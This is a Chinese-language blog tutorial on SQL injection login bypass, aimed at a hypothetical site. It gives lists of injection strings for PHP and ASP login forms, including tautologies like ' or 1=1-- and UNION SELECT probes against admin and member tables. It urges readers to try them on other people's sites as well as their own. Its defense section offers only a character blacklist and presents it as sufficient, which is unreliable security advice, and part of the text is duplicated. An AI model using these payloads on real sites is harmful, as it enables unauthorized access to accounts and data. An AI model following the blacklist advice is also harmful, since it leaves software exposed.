SQL 注入漏洞又名:資料隱碼攻擊,在談到 SQL 注入漏洞時一定要知道什麼是 SQL,SQL 是結構化查詢語言(英語:Structured Query Language,縮寫:SQL),這專有名詞很惱人,所以先不理他,簡單來說,SQL 是一種資料庫語言,而資料庫常用來做登入系統,例如建立一個有帳戶名稱和密碼的資料庫,可以很方便地進行管理,但也有一個缺點,那就是你的資料庫若沒做好安全防護,很有可能讓你的客戶個資外洩,其中一種攻擊方式就是今天要講的 SQL 注入攻擊,這種攻擊常用在當你用 SQL 資料庫來當你的網站後台(就是編輯網站和管理網站的地方)的登入系統時,有可能遭駭客利用 SQL 注入漏洞,導致你的網站首頁可能被惡搞之類的後果,所以我要來介紹一下 SQL 注入的攻擊手法和防範方法。
這樣的登入頁面很陽春,但很多小型網站的登入系統都是自己設計的,懶得加美邊及防護,所以可能漏洞百出,在這裡,我們先想想,如果我正常的輸入帳密會登入到系統中,但若我不知道帳密,想繞過登入保護機制呢?
這時 SQL 注入就派上用場了,我們以一個簡單的範例來看:
我們假設存密碼的變數叫 A
正常輸入會變 A=1234
但我們如果輸入 "=A" 呢?這樣 A==A 就變恆等式了,條件一定成立,所以回到灰狼87網的登入頁面,我們在帳號的地方輸入特定句子後說不定能繞過登入機制
先看到網址列尾端,
如果是 XXX.php,就是 PHP 網頁
如果是 XXX.asp ,就是 ASP 網頁
這兩種網頁要分別使用不同的測試語句
攻
首先,我們先站在攻擊者的角度來思考,假設有一個網站叫灰狼87網,他的後台登入頁面長這樣:這樣的登入頁面很陽春,但很多小型網站的登入系統都是自己設計的,懶得加美邊及防護,所以可能漏洞百出,在這裡,我們先想想,如果我正常的輸入帳密會登入到系統中,但若我不知道帳密,想繞過登入保護機制呢?
這時 SQL 注入就派上用場了,我們以一個簡單的範例來看:
我們假設存密碼的變數叫 A
正常輸入會變 A=1234
但我們如果輸入 "=A" 呢?這樣 A==A 就變恆等式了,條件一定成立,所以回到灰狼87網的登入頁面,我們在帳號的地方輸入特定句子後說不定能繞過登入機制
先看到網址列尾端,
如果是 XXX.php,就是 PHP 網頁
如果是 XXX.asp ,就是 ASP 網頁
這兩種網頁要分別使用不同的測試語句
PHP 網頁的測試語句
- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or '' = '
- ' or 'a'='a
- " or "a"="a
- ') or ('a' 'a
- ' or 1=1
- ' or '1=1
ASP網頁的測試語句
- ' or 1=1
- ' or '1=1
- '/*
- '%23//" '#"
- ' and password='mypass
- id=-1 union select 1,1,1
- id=-1 union select char(97),char(97),char(97)
- id=-1 union select 1,1,1 from members
- id=-1 union select 1,1,1 from admin
- id=-1 union select 1,1,1 from user
知道是哪一種網頁後把藍色的測試語句貼在帳號和密碼欄位上,每一條都試試看,看看能否繞過登入系統,可以拿來測試你自己的網站或「測試」別人的也可,只要看到這類頁面都可試試,但別說是我教的…
防
好啦,再來是防禦的部分,很簡單,詳細辦法若你能設計出登入頁面自然知道下面要怎麼做
你只要禁止輸入時包含以下字元即可:
- ;
- '
- --
- /*...*/
今天的教學就到這邊啦!記得分享此文給有需要的人喔~
0 意見